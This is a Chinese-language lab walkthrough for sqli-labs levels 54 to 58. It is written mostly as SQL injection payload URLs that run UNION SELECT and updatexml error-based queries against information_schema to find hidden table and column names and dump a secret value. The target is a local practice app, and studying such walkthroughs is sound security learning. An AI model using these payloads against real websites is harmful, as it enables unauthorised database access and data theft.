Less54

从第54关开始，就比较偏向实际挑战方向，这一关对输入次数进行了限制，要求在十次之内，否则刷新数据库随机更新表名列名等信息

首先判断包裹形式，这一关为单引号包裹

http://127.0.0.1/sqli-labs-master/Less-54/?id=1'--+

判断列数http://127.0.0.1/sqli-labs-master/Less-54/?id=1' order by 3--+

查看当前数据库 http://127.0.0.1/sqli-labs-master/Less-54/?id=-1' union select 1,2,database() --+ 当前数据库为challenges

查表 http://127.0.0.1/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='challenges'--+

表名为f7fs4xzk70

查字段 http://127.0.0.1/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='f7fs4xzk70'--+

查信息 http://127.0.0.1/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,secret_DPET))from challenges.f7fs4xzk70 --+

取出信息放入下面

我们成功过关

Less-55

这一关有14次机会，包裹形式为?id=1) 其他步骤均与Less54相同

Less-56

这一关包裹形式为?id=1'）其他步骤均与Less54相同

Less-57

这一关有14次机会，包裹形式为?id=1" 其他步骤均与Less54相同

Less-58

这一关只有五次机会，显然不能使用联合查询，这一关我们使用报错注入

有题目（刚打开的页面显示）可知，我们当前数据库为challenges

查表 http://127.0.0.1/sqli-labs-master/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='challenges')),1)--+ 表名为v000pri418

查字段 http://127.0.0.1/sqli-labs-master/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='v000pri418')),1)--+

查信息 http://127.0.0.1/sqli-labs-master/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(0x7e,secret_T5XO)from challenges.v000pri418)),1)--+